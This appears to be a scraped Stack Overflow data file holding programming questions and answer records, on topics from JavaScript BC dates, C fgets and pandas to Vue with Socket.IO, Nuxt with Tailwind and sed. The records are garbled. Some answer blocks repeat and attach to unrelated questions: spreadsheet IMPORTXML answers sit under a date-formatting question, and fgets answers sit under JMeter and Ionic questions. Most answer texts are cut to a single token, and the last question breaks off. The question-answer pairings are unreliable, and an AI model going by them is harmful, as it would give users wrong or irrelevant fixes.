"text": "=INDEX(IMPORTXML(A1, \"//div[@class='price mt-2 mt-md-0 mb-0 mb-md-3']\"),,2)\n"
},
{
"answer_id": 74528024,
"author": "Anthony S",
"author_id": 19917207,
"author_profile": "https://Stackoverflow.com/users/19917207",
"pm_score": 0,
"selected": false,
"text": "ImportXML"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466625",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19362373/"
] |
74,466,629
|
<p>I'm working on a graphical listing of Roman emperors and ran into the following problem:
The birth and death dates are stored in a JSON as a string. e.g. Julius Caesar:</p>
<pre><code>"start":"-000100-07-12"
</code></pre>
<p>If I use the Date object</p>
<p><code>console.log(new Date(caesar.start))</code></p>
<p>... via console.log it works:</p>
<p>//Date Object Thu Jul 12 -0100 00:53:28 GMT+0053 ...</p>
<p>but if I now want to render the object as a string with</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>console.log(
new Date("-000100-07-12")
.toLocaleDateString("en", {year : "numeric", era: "short"})
);</code></pre>
</div>
</div>
</p>
<p>console.log gives me</p>
<p>"101 BC" instead of "100 BC"</p>
<p>the problem is easily reproducable.</p>
<p><a href="https://support.oracle.com/knowledge/Middleware/1403794_1.html" rel="nofollow noreferrer">I only found a similar description</a></p>
<p>for a different technology.</p>
<p>However, the problem seems to be the same.</p>
<p>A fix would be to write a custom toLocaleDateString function, because getFullYear(), getMonth() work as expected.</p>
<p>Has anyone had similar experiences, or a solution to the problem? I guess handling dates before 1582 is a bit hooky.... maybe it has to do with the fact that there is no year 0?</p>
|
[
{
"answer_id": 74466710,
"author": "player0",
"author_id": 5632629,
"author_profile": "https://Stackoverflow.com/users/5632629",
"pm_score": 1,
"selected": false,
"text": "=INDEX(IMPORTXML(A1, \"//div[@class='price mt-2 mt-md-0 mb-0 mb-md-3']\"),,2)\n"
},
{
"answer_id": 74528024,
"author": "Anthony S",
"author_id": 19917207,
"author_profile": "https://Stackoverflow.com/users/19917207",
"pm_score": 0,
"selected": false,
"text": "ImportXML"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466629",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12347129/"
] |
74,466,654
|
<p>I have a dataframe like so:</p>
<pre><code> RANK COUNT
'2020-01-01' 100 -1
'2020-01-02' 50 -1
'2020-01-03' -1 75
</code></pre>
<p>How can I replace all occurrences of <code>-1</code> with <code>None</code> and still preserve both the <code>RANK</code> and <code>COUNT</code> as ints?</p>
<p>The result should look like:</p>
<pre><code> RANK COUNT
'2020-01-01' 100
'2020-01-02' 50
'2020-01-03' 75
</code></pre>
<p>If this isn't possible, how can I dump the original data into a .csv file that looks like the desired result?</p>
|
[
{
"answer_id": 74466689,
"author": "Naveed",
"author_id": 3494754,
"author_profile": "https://Stackoverflow.com/users/3494754",
"pm_score": 2,
"selected": true,
"text": "replace"
},
{
"answer_id": 74466732,
"author": "Ashutosh",
"author_id": 18966957,
"author_profile": "https://Stackoverflow.com/users/18966957",
"pm_score": -1,
"selected": false,
"text": "df = df.replace(-1, \"\")\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466654",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12821675/"
] |
74,466,658
|
<p>I am trying to read a string from the user using the following code</p>
<pre><code>char array[4];
fgets(array , 5, stdin);
</code></pre>
<p>I am using the fgets command because with the scanf it reads the entire string regardless of the size of the array and if it doesn't fit inside the array it automatically changes the size of the array in order for the string to fit. I want always to read a string of maximum length 4, that is why I use the fgets, because fgets will always get the characters that you tell it to get regardless of how long the string from the user will be.</p>
<p>My problem is this, as you can see I have declared the array of size 4 but inside the fgets I have to write 5 because it reads one less character than the number. Why does it do that? Why does it read one character less than the number? am I doing something wrong?</p>
|
[
{
"answer_id": 74466741,
"author": "Vlad from Moscow",
"author_id": 2877241,
"author_profile": "https://Stackoverflow.com/users/2877241",
"pm_score": 1,
"selected": false,
"text": "'\\0'"
},
{
"answer_id": 74467105,
"author": "Peter - Reinstate Monica",
"author_id": 3150802,
"author_profile": "https://Stackoverflow.com/users/3150802",
"pm_score": 0,
"selected": false,
"text": "scanf(\"%5s\", buf)"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466658",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13082652/"
] |
74,466,659
|
<p>I have already seen a response from <a href="https://stackoverflow.com/questions/51174075/how-to-save-request-body-in-jmeter">How to save request body in Jmeter?</a> but it doesnt solve.</p>
<p>I want to save to csv a dynamic request body constructed e.g. {"transfer":${id},"amount":${amount}}. I want the actual request data {"transfer":1234,"amount":5678} to be in saved to a csv file. I have multi-thread running at least 50 users in parallel, so I want the file not to be created again and save all request data sent out.</p>
<p>Why I need is because, when I run for several users the application responds differently, and we want to compare the data(request data, response headers, response body) for different run</p>
<p>Best.</p>
|
[
{
"answer_id": 74466741,
"author": "Vlad from Moscow",
"author_id": 2877241,
"author_profile": "https://Stackoverflow.com/users/2877241",
"pm_score": 1,
"selected": false,
"text": "'\\0'"
},
{
"answer_id": 74467105,
"author": "Peter - Reinstate Monica",
"author_id": 3150802,
"author_profile": "https://Stackoverflow.com/users/3150802",
"pm_score": 0,
"selected": false,
"text": "scanf(\"%5s\", buf)"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466659",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15199010/"
] |
74,466,673
|
<p>I have been a lot of time trying to create my project, but, Im having a lot of errors. I fix some ones but, when I thought everything was okay, IT WASN'T. Im learning this ionic and app development stuff and I didn't thoght "oh, maybe any video on youtube shows aaaaall that" it looked easy!</p>
<p>Okay, this it's the error after putting the</p>
<pre><code>ionic start appname sidemenu
</code></pre>
<p>I choosed angular, then it last a few minutes in do all their stuff, and then, when i write</p>
<pre><code>ionic serve
</code></pre>
<p>(the first thigs were okay but then this:)</p>
<pre><code> Build at: 2022-11-16T20:03:58.075Z - Hash: 87f644733fcc69d9 - Time: 32811ms
[ng]
[ng] Error: src/app/folder/folder.page.ts:10:10 - error TS2564: Property 'folder' has no initializer and is not definitely assigned in the constructor.
[ng]
[ng] 10 public folder: string;
[ng] ~~~~~~
[ng]
[ng]
[ng] Error: src/app/folder/folder.page.ts:15:5 - error TS2322: Type 'string | null' is not assignable to type 'string'.
[ng] Type 'null' is not assignable to type 'string'.
[ng]
[ng] 15 this.folder = this.activatedRoute.snapshot.paramMap.get('id');
[ng] ~~~~~~~~~~~
[ng]
[ng]
[ng]
[ng] × Failed to compile.
</code></pre>
<p>And the server said "cannot get" with the window name like "error"</p>
<p>can someone iluminate me with their knowledge?(and sorry for my english XD)</p>
|
[
{
"answer_id": 74466741,
"author": "Vlad from Moscow",
"author_id": 2877241,
"author_profile": "https://Stackoverflow.com/users/2877241",
"pm_score": 1,
"selected": false,
"text": "'\\0'"
},
{
"answer_id": 74467105,
"author": "Peter - Reinstate Monica",
"author_id": 3150802,
"author_profile": "https://Stackoverflow.com/users/3150802",
"pm_score": 0,
"selected": false,
"text": "scanf(\"%5s\", buf)"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466673",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20512491/"
] |
74,466,702
|
<p>I want to make button, which pressed will show us random textfield (from 3 textfields: username, username2 or username3).
Currently I have something like this, but don't know how to make it possible.</p>
<pre><code>struct Test: View {
/// @State private var names : ??? - I don't know what should be there
@State private var username: String = ""
@State var username2: String = ""
@State var username3: String = ""
var body: some View {
NavigationView {
VStack {
TextField("Your name", text: $username)
TextField("Your name2", text: $username2)
TextField("Your name3", text: $username3)
Button(action: randomName) {
Text("draw")
}
}
Text("names.text") /// it doesn't work
.foregroundColor(.black)
.font(.largeTitle)
}
}
}
private func randomName() {
let names = ["\(username)", "\(username2)", "\(username3)"]
}
}
</code></pre>
<p>I have tried to add everything into first @State private var names, but nothing work properly. Maybe I am just trying in wrong way? Or it shouldn't be done by 'let names'?
I don't know and have no idea.</p>
|
[
{
"answer_id": 74467151,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 2,
"selected": true,
"text": "struct Example: View {\n\n @State private var username: String = \"\"\n @State var username2: String = \"\"\n @State var username3: String = \"\"\n @State var selectedName: String = \"Initial Value\"\n \n var body: some View {\n NavigationView {\n VStack {\n TextField(\"Your name\", text: $username)\n TextField(\"Your name2\", text: $username2)\n TextField(\"Your name3\", text: $username3)\n \n Button(action: randomName) {\n Text(\"draw\")\n }\n \n Text(selectedName) \n .foregroundColor(.black)\n .font(.largeTitle)\n }\n \n }\n }\n \n private func randomName() {\n let names = [\"\\(username)\", \"\\(username2)\", \"\\(username3)\"]\n \n selectedName = names[Int.random(in: 0..<names.count)]\n }\n}\n"
},
{
"answer_id": 74512761,
"author": "Paulw11",
"author_id": 3418066,
"author_profile": "https://Stackoverflow.com/users/3418066",
"pm_score": 0,
"selected": false,
"text": "username"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466702",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20275377/"
] |
74,466,708
|
<p>I have a set of CSV data to convert to XML file using Java.</p>
<p>My issue is that I need to convert it in special format like this (XML properties format):</p>
<pre><code>?xml version="1.0"?>
<root>
<row col1="All" Col2="0" Col3="" Col4="0" Col5="0"></row>
<row col1="All" Col2="935" Col3="231" Col4="0" Col5="30"></row>
<row col1="None" Col2="1011" Col3="257" Col4="0" Col5="30"></row>
.
.
...
</root>
</code></pre>
<p>The function to convert my CSV dataset to XML is:</p>
<pre><code>public void convertFile(String csvFileName, String xmlFileName,
String delimiter) {
try {
Document newDoc = domBuilder.newDocument();
// Root element
Element rootElement = newDoc.createElement("root");
newDoc.appendChild(rootElement);
// Read csv file
BufferedReader csvReader;
csvReader = new BufferedReader(new FileReader(csvFileName));
int fieldCount = 0;
String[] csvFields = null;
StringTokenizer stringTokenizer = null;
String curLine = csvReader.readLine();
if (curLine != null) {
// how about other form of csv files?
stringTokenizer = new StringTokenizer(curLine, delimiter);
fieldCount = stringTokenizer.countTokens();
if (fieldCount > 0) {
csvFields = new String[fieldCount];
int i = 0;
while (stringTokenizer.hasMoreElements())
csvFields[i++] = String.valueOf(stringTokenizer.nextElement());
}
}
while ((curLine = csvReader.readLine()) != null) {
stringTokenizer = new StringTokenizer(curLine, delimiter);
fieldCount = stringTokenizer.countTokens();
if (fieldCount > 0) {
Element rowElement = newDoc.createElement("row");
int i = 0;
while (stringTokenizer.hasMoreElements()) {
try {
String curValue = String.valueOf(stringTokenizer.nextElement());
Element curElement = newDoc.createElement(csvFields[i++]);
curElement.appendChild(newDoc.createTextNode(curValue));
rowElement.appendChild(curElement);
} catch (Exception exp) {
}
}
rootElement.appendChild(rowElement);
}
}
csvReader.close();
// Save the document to the disk file
TransformerFactory tranFactory = TransformerFactory.newInstance();
Transformer aTransformer = tranFactory.newTransformer();
Source src = new DOMSource(newDoc);
Result result = new StreamResult(new File(xmlFileName));
aTransformer.transform(src, result);
// Output to console for testing
// Resultt result = new StreamResult(System.out);
} catch (IOException exp) {
System.err.println(exp.toString());
} catch (Exception exp) {
System.err.println(exp.toString());
}
}
</code></pre>
<p>But the the generated XML file was this and it is not the format that I'm looking for:</p>
<pre><code><dataset>
<row>
<Col1>All</Col1>
<Col2>0</Col2>
<Col3></Col3>
<Col4>0</Col4>
<Col5>0</Col5>
</row>
<row>
<Col1>All</Col1>
<Col2>935</Col2>
<Col3>231</Col3>
<Col4>0</Col4>
<Col5>30</Col5>
</row>
<row>
<Col1>None</Col1>
<Col2>1011</Col2>
<Col3>257</Col3>
<Col4>0</Col4>
<Col5>30</Col5>
</row>
</dataset>
</code></pre>
<p>Could you please help me ?</p>
|
[
{
"answer_id": 74467151,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 2,
"selected": true,
"text": "struct Example: View {\n\n @State private var username: String = \"\"\n @State var username2: String = \"\"\n @State var username3: String = \"\"\n @State var selectedName: String = \"Initial Value\"\n \n var body: some View {\n NavigationView {\n VStack {\n TextField(\"Your name\", text: $username)\n TextField(\"Your name2\", text: $username2)\n TextField(\"Your name3\", text: $username3)\n \n Button(action: randomName) {\n Text(\"draw\")\n }\n \n Text(selectedName) \n .foregroundColor(.black)\n .font(.largeTitle)\n }\n \n }\n }\n \n private func randomName() {\n let names = [\"\\(username)\", \"\\(username2)\", \"\\(username3)\"]\n \n selectedName = names[Int.random(in: 0..<names.count)]\n }\n}\n"
},
{
"answer_id": 74512761,
"author": "Paulw11",
"author_id": 3418066,
"author_profile": "https://Stackoverflow.com/users/3418066",
"pm_score": 0,
"selected": false,
"text": "username"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466708",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9640204/"
] |
74,466,735
|
<p>First of all I want to thank the community for helping me and many others, and apologies for my bad English.</p>
<p>In the screenshots, I want to count number of signal to enter the trade. The problem is when I got first signal, I want to reset counting to zero if signal passed 100 bars and want to count from Zero again.</p>
<p>But when second signal came bars since condition resetting and as you see my counting will be 3 again. What I need is to see 2.</p>
<p>Here is my code</p>
<pre><code>inLong = strategy.position_size > 0
bartime = int(ta.change(time))
bars = math.floor((timenow - i_startTime) / bartime)
if na(bar_index - strategy.closedtrades.exit_bar_index(strategy.closedtrades - 1) )
bars := math.floor((timenow - i_startTime) / bartime)
else
bars := bar_index - strategy.closedtrades.exit_bar_index(strategy.closedtrades - 1)
tDOWN = close < open
counting(bars) =>
deepAlert_count = 0
green_count = 0
for i= 0 to bars
if (deepAlert[i])
deepAlert_count := deepAlert_count + 1
if (tDOWN[i])
green_count := green_count + 1
if not inLong and deepAlert_since > 100
deepAlert_count := deepAlert_count - 1
// also i tried deepAlert_count :=0
[deepAlert_count, green_count]
[deepAlert_count, green_data] = counting(bars)
</code></pre>
<ul>
<li><a href="https://i.stack.imgur.com/Ygu5s.png" rel="nofollow noreferrer">Screenshot #1</a></li>
<li><a href="https://i.stack.imgur.com/E084o.jpg" rel="nofollow noreferrer">Screenshot #2</a></li>
<li><a href="https://i.stack.imgur.com/QryMD.jpg" rel="nofollow noreferrer">Screenshot #3</a></li>
</ul>
<p>I also tried :</p>
<pre><code>counting(bars) =>
while deepAlert_since < 100
deepAlert_count = 0
green_count = 0
for i= 0 to bars
if (deepAlert[i])
deepAlert_count := deepAlert_count + 1
if (tDOWN[i])
green_count := green_count + 1
if not inLong and deepAlert_since > 100
deepAlert_count := deepAlert_count - 1
[deepAlert_count, green_count]
[deepAlert_count, green_data] = counting(bars)
</code></pre>
<p>but I get an error like loop is getting too much time to execute</p>
<p>What I am expecting is to find out how can I count properly and what must my approach be to solve this puzzle?</p>
<p>Many thanks again...</p>
|
[
{
"answer_id": 74467151,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 2,
"selected": true,
"text": "struct Example: View {\n\n @State private var username: String = \"\"\n @State var username2: String = \"\"\n @State var username3: String = \"\"\n @State var selectedName: String = \"Initial Value\"\n \n var body: some View {\n NavigationView {\n VStack {\n TextField(\"Your name\", text: $username)\n TextField(\"Your name2\", text: $username2)\n TextField(\"Your name3\", text: $username3)\n \n Button(action: randomName) {\n Text(\"draw\")\n }\n \n Text(selectedName) \n .foregroundColor(.black)\n .font(.largeTitle)\n }\n \n }\n }\n \n private func randomName() {\n let names = [\"\\(username)\", \"\\(username2)\", \"\\(username3)\"]\n \n selectedName = names[Int.random(in: 0..<names.count)]\n }\n}\n"
},
{
"answer_id": 74512761,
"author": "Paulw11",
"author_id": 3418066,
"author_profile": "https://Stackoverflow.com/users/3418066",
"pm_score": 0,
"selected": false,
"text": "username"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466735",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523394/"
] |
74,466,736
|
<p>I have a Postgres DB, In which I am storing some analytical data in a table like a user id, city, country, source(referer), device_type(web, ios, android), etc.</p>
<p>I wanted to show insights based on the data in the above table i.e</p>
<ul>
<li>all distinct cities, countries, or sources or device_type within a date range for a user</li>
<li>top cities, countries, or sources within a date range for a user</li>
<li>total requests within a date range for a user</li>
</ul>
<p>up until now, the use case was limited to only top requests from any user in a given time range and since the data in the above table could be very large we pre-aggregated the data in a separate table day-wise per user</p>
<p>but now we have to aggregate based on cities, countries, sources, and devices. Creating separate tables for each field doesn't seem like the best possible solution.</p>
<p>Please let us know if there are any easier and more elegant solutions to our problem.</p>
<p>Also, we exploring the NoSQL database to store data as these fields might increase in the future but the data aggregation part is something we want to figure out first.</p>
<p>Thank you</p>
|
[
{
"answer_id": 74467151,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 2,
"selected": true,
"text": "struct Example: View {\n\n @State private var username: String = \"\"\n @State var username2: String = \"\"\n @State var username3: String = \"\"\n @State var selectedName: String = \"Initial Value\"\n \n var body: some View {\n NavigationView {\n VStack {\n TextField(\"Your name\", text: $username)\n TextField(\"Your name2\", text: $username2)\n TextField(\"Your name3\", text: $username3)\n \n Button(action: randomName) {\n Text(\"draw\")\n }\n \n Text(selectedName) \n .foregroundColor(.black)\n .font(.largeTitle)\n }\n \n }\n }\n \n private func randomName() {\n let names = [\"\\(username)\", \"\\(username2)\", \"\\(username3)\"]\n \n selectedName = names[Int.random(in: 0..<names.count)]\n }\n}\n"
},
{
"answer_id": 74512761,
"author": "Paulw11",
"author_id": 3418066,
"author_profile": "https://Stackoverflow.com/users/3418066",
"pm_score": 0,
"selected": false,
"text": "username"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466736",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5137731/"
] |
74,466,762
|
<p>When adding the option to open only one sub-menu at a time, it generates the error that only one sub-menu should always be open and I do not understand the reason, I attach a test image.</p>
<p><a href="https://i.stack.imgur.com/Rlff2.png" rel="nofollow noreferrer">enter image description here</a>
<a href="https://i.stack.imgur.com/xv93I.png" rel="nofollow noreferrer">enter image description here</a></p>
<p>As you can see when one clicks it displays the menu but if I click it again it does not close but it opens again, in the image you see the closed arrow "↟" an up arrow and when the sub-menu opens the arrow changes down "↡", I say this to show the error that the menu never closes.</p>
<p>This is the html code
`</p>
<pre><code><nav class='animated flipInX'>
<ul>
<li>
<a href='#'>
<div class='fa fa-home'></div>
</a>
</li>
<li>
<a href='#'>
About
</a>
</li>
<li class='sub-menu'>
<a href='#'>
Products
<i class='fa fa-angle-down'></i>
</a>
<ul>
<li>
<a href='#'>
Product Item
</a>
</li>
<li>
<a href='#'>
Product Item
</a>
</li>
<li>
<a href='#'>
Product Item
</a>
</li>
</ul>
</li>
<li class='sub-menu'>
<a href='#'>
Services
<i class='fa fa-angle-down'></i>
</a>
<ul>
<li>
<a href='#'>
Product Item
</a>
</li>
<li>
<a href='#'>
Product Item
</a>
</li>
<li>
<a href='#'>
Product Item
</a>
</li>
</ul>
</li>
<li>
<a href='#'>
Contact Us
</a>
</li>
</ul>
</nav>
</code></pre>
<p><code>This is the js code</code></p>
<pre><code>$(".sub-menu ul").hide()
$(".sub-menu a").click(function () {
$(".sub-menu ul").not($(this)).hide();
$(this).parent(".sub-menu").children("ul").slideToggle("200");
$(this).find("i.fa").toggleClass("fa-angle-up fa-angle-down");
});
</code></pre>
<p>`
I ask for help to solve this problem, the idea is to let you close the normal menu but do not change the functionality of not being able to open more than one menu at the same time.</p>
<p>I tried many jquery options but I don't understand the error yet.</p>
|
[
{
"answer_id": 74467151,
"author": "Volkan Sonmez",
"author_id": 4888710,
"author_profile": "https://Stackoverflow.com/users/4888710",
"pm_score": 2,
"selected": true,
"text": "struct Example: View {\n\n @State private var username: String = \"\"\n @State var username2: String = \"\"\n @State var username3: String = \"\"\n @State var selectedName: String = \"Initial Value\"\n \n var body: some View {\n NavigationView {\n VStack {\n TextField(\"Your name\", text: $username)\n TextField(\"Your name2\", text: $username2)\n TextField(\"Your name3\", text: $username3)\n \n Button(action: randomName) {\n Text(\"draw\")\n }\n \n Text(selectedName) \n .foregroundColor(.black)\n .font(.largeTitle)\n }\n \n }\n }\n \n private func randomName() {\n let names = [\"\\(username)\", \"\\(username2)\", \"\\(username3)\"]\n \n selectedName = names[Int.random(in: 0..<names.count)]\n }\n}\n"
},
{
"answer_id": 74512761,
"author": "Paulw11",
"author_id": 3418066,
"author_profile": "https://Stackoverflow.com/users/3418066",
"pm_score": 0,
"selected": false,
"text": "username"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466762",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20479287/"
] |
74,466,765
|
<p>How can I use sed to duplicate part of a string?</p>
<pre><code>hello foo(ignore this);
hello bar(or that);
hello func(or anything really);
</code></pre>
<p>with</p>
<pre><code>hello foo(x) foo(y)
hello bar(x) bar(y)
hello func(x) func(y)
</code></pre>
<p>I know I can use & multiple times in the replace statement of sed but I have trouble having the matching pattern & be only what's between hello and (</p>
|
[
{
"answer_id": 74478428,
"author": "Lolo",
"author_id": 91208,
"author_profile": "https://Stackoverflow.com/users/91208",
"pm_score": 1,
"selected": false,
"text": "$ more test.txt\nhello foo(ignore this);\nhello bar(or that);\nhello func(or anything really);\n\n$ more test.txt | sed 's/hello //g' | sed 's/(.*$//g' | sed 's/.*/hello &(x) &(y)/g'\nhello foo(x) foo(y)\nhello bar(x) bar(y)\nhello func(x) func(y)\n"
},
{
"answer_id": 74478475,
"author": "HatLess",
"author_id": 16372109,
"author_profile": "https://Stackoverflow.com/users/16372109",
"pm_score": 2,
"selected": false,
"text": "sed"
},
{
"answer_id": 74485287,
"author": "stevesliva",
"author_id": 3120884,
"author_profile": "https://Stackoverflow.com/users/3120884",
"pm_score": 3,
"selected": true,
"text": "&"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466765",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/91208/"
] |
74,466,785
|
<p>So I have this date object</p>
<pre><code>const today = new Date()
</code></pre>
<p>but it's giving me a time with 3 hours ahead of my timezone how do I change it to my TZ without transforming the final result into a string? My database accepts only date objects not strings I have tried with moment() and localeString() but I need it in date object</p>
|
[
{
"answer_id": 74478428,
"author": "Lolo",
"author_id": 91208,
"author_profile": "https://Stackoverflow.com/users/91208",
"pm_score": 1,
"selected": false,
"text": "$ more test.txt\nhello foo(ignore this);\nhello bar(or that);\nhello func(or anything really);\n\n$ more test.txt | sed 's/hello //g' | sed 's/(.*$//g' | sed 's/.*/hello &(x) &(y)/g'\nhello foo(x) foo(y)\nhello bar(x) bar(y)\nhello func(x) func(y)\n"
},
{
"answer_id": 74478475,
"author": "HatLess",
"author_id": 16372109,
"author_profile": "https://Stackoverflow.com/users/16372109",
"pm_score": 2,
"selected": false,
"text": "sed"
},
{
"answer_id": 74485287,
"author": "stevesliva",
"author_id": 3120884,
"author_profile": "https://Stackoverflow.com/users/3120884",
"pm_score": 3,
"selected": true,
"text": "&"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466785",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18545081/"
] |
74,466,791
|
<p>I just bought a new MacBook Pro with M1 Pro
I installed python 3.11 and Pycharm as IDE.
I tried to create a new project using virtualenv but it continues to show an error (see below)...</p>
<p>I tried using Python 3.10, I tried installing it from Homebrew, reinstalling it.. nothing changes...</p>
<p><strong>Steps to Reproduce</strong></p>
<ol>
<li>Start a new project.</li>
<li>Select VirtualEnv as Interpreter</li>
<li>Create</li>
</ol>
<p><a href="https://i.stack.imgur.com/fSPkI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/fSPkI.png" alt="screenshot of creation window" /></a></p>
<p><strong>What happen</strong></p>
<p><a href="https://i.stack.imgur.com/an3cj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/an3cj.png" alt="screenshot of the result" /></a></p>
|
[
{
"answer_id": 74466951,
"author": "micromoses",
"author_id": 2840436,
"author_profile": "https://Stackoverflow.com/users/2840436",
"pm_score": 2,
"selected": false,
"text": "/Users/test"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466791",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10781209/"
] |
74,466,816
|
<p>I am completely new to Socket.IO and generally to Back-end technologies. However, I have experience with Vue and I am trying to create a simple multiplayer game.</p>
<p>But I am stuck on the first step... connecting vueJS and SocketIO.</p>
<p>Here is the server:</p>
<pre><code>const app = express()
const http = require("http");
const server = http.createServer(app)
const io = require('socket.io')(8000);
io.on('connection', function(socket) {
console.log('new connection');
socket.on('updateUsers', function(data) {
console.log('event received');
});
})
</code></pre>
<p>This is the main.js:</p>
<pre><code>import VueSocketIO from 'vue-socket.io'
import SocketIO from "socket.io-client"
import "./assets/main.css";
const app = createApp(App);
app.use(router, new VueSocketIO({
debug: true,
connection: SocketIO('http://localhost:5173/'),
}));
app.mount("#app");
</code></pre>
<p>And the homepage.vue:</p>
<pre><code>import io from 'socket.io-client';
data() {
return {
socket: io()
}
},
methods: {
startGame() {this.socket.emit('updateUsers', "someUser")
},
}
</code></pre>
<p>So neither the "new connection" from the server is rendered in the terminal, nor the front-end is able to send events(no errors, but also nothing happens)
Do you see anything wrong? Could it be something with the router or because I pass two arguments to the app?</p>
<pre><code>app.use(router, new VueSocketIO...)
</code></pre>
|
[
{
"answer_id": 74474114,
"author": "Davidsamuel",
"author_id": 2918907,
"author_profile": "https://Stackoverflow.com/users/2918907",
"pm_score": 1,
"selected": false,
"text": "app.use(function (req, res, next) {\n res.header('Access-Control-Allow-Origin', '*');\n next()\n})\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466816",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8679570/"
] |
74,466,852
|
<p>I pass a list (called a) of characters. The characters could be either letters or emojis.
Ex: a=['a','b','f','a','g', '']
Then I count the occurrences of each character in the list.
This function return just the most frequent character by alphabetical order.
ex_n.2: if the most frequents characters are 'b' and 'a', it returns me 'a'</p>
<pre><code>def occorrenze(a):
dix={} #dictionary
for i in a:
if i in dix:
dix[i]+=1
else:
dix[i]=1
#it finds me the max values in the dict.
maxvalues=max(dix.values())
#it creates a list with the keys having the max values
maxkeys= [k for k,v in dix.items() if v == maxvalues]
#It return just one characters, the one first in alphabetical order
return sorted(maxkeys)[0]
</code></pre>
<p>I don't know how to make this function faster.</p>
|
[
{
"answer_id": 74466920,
"author": "Faisal Nazik",
"author_id": 13959139,
"author_profile": "https://Stackoverflow.com/users/13959139",
"pm_score": 0,
"selected": false,
"text": "def most_frequent(a):\n return sorted(a, key=a.count, reverse=True)[0]\n"
},
{
"answer_id": 74467084,
"author": "jkr",
"author_id": 5666087,
"author_profile": "https://Stackoverflow.com/users/5666087",
"pm_score": 1,
"selected": false,
"text": "collections.Counter"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466852",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16797605/"
] |
74,466,869
|
<p>I want to create a new Nuxt project and followed their instructions here: <a href="https://nuxtjs.org/docs/get-started/installation" rel="nofollow noreferrer">https://nuxtjs.org/docs/get-started/installation</a>. Basically just running <code>npm init nuxt-app@latest <project-name></code>.</p>
<p>After going through the setup (in which I choose Tailwind as my UI of choice), I run <code>npm run dev</code> and it crashes while trying to build saying "Cannot destructure property 'nuxt' of 'this' as it is undefined."</p>
<p>Here is the full stack:</p>
<pre><code> FATAL Cannot destructure property 'nuxt' of 'this' as it is undefined. 15:22:52
at postcss8Module (node_modules\@nuxt\postcss8\dist\index.js:15:10)
at installModule (/C:/Users/conmi/Documents/Personal/Katie's%20Website/katierose-photos/node_modules/@nuxt/kit/dist/index.mjs:416:9)
at async setup (/C:/Users/conmi/Documents/Personal/Katie's%20Website/katierose-photos/node_modules/@nuxtjs/tailwindcss/dist/module.mjs:186:7)
at async ModuleContainer.normalizedModule (/C:/Users/conmi/Documents/Personal/Katie's%20Website/katierose-photos/node_modules/@nuxt/kit/dist/index.mjs:167:5)
at async ModuleContainer.addModule (node_modules\@nuxt\core\dist\core.js:239:20)
at async ModuleContainer.ready (node_modules\@nuxt\core\dist\core.js:51:7)
at async Nuxt._init (node_modules\@nuxt\core\dist\core.js:478:5)
</code></pre>
<p>I found not including <code>'@nuxtjs/tailwindcss'</code> in the buildModules in nuxt.config.js removes the error, but it does not create the tailwind config files I need. Also, the line causing the error in postcss8Module's index.js is <code>const { nuxt } = this</code>. For some reason <code>this</code> is undefined.</p>
|
[
{
"answer_id": 74504337,
"author": "vstollen",
"author_id": 7373663,
"author_profile": "https://Stackoverflow.com/users/7373663",
"pm_score": 1,
"selected": false,
"text": "npx nuxi init <project-name>\ncd <project-name>\nnpm install\nnpm install @nuxtjs/tailwindcss --save-dev\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74466869",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15911966/"
] |
74,466,877
|
<p>I am using an image for an input (button) within a form on my website, and would like to swap the image on hover.</p>
<p>The following code works fine in a stand alone demo. The images swap nicely.</p>
<p>However... when I integrate this code into the rest of the form code, it fails.</p>
<p>I am guessing it is because the script calls for <code>getElementsByTagName('input')</code> with the tag name being <code>input</code>.</p>
<p>Therefore... perhaps because the form contains other 'inputs', the function targets the other inputs as well, and simply dies??????</p>
<p>Is there a way to execute this same function, and target the specific input without using the <code>getElementsByTagName('input')</code>, or by tweaking it some way?</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
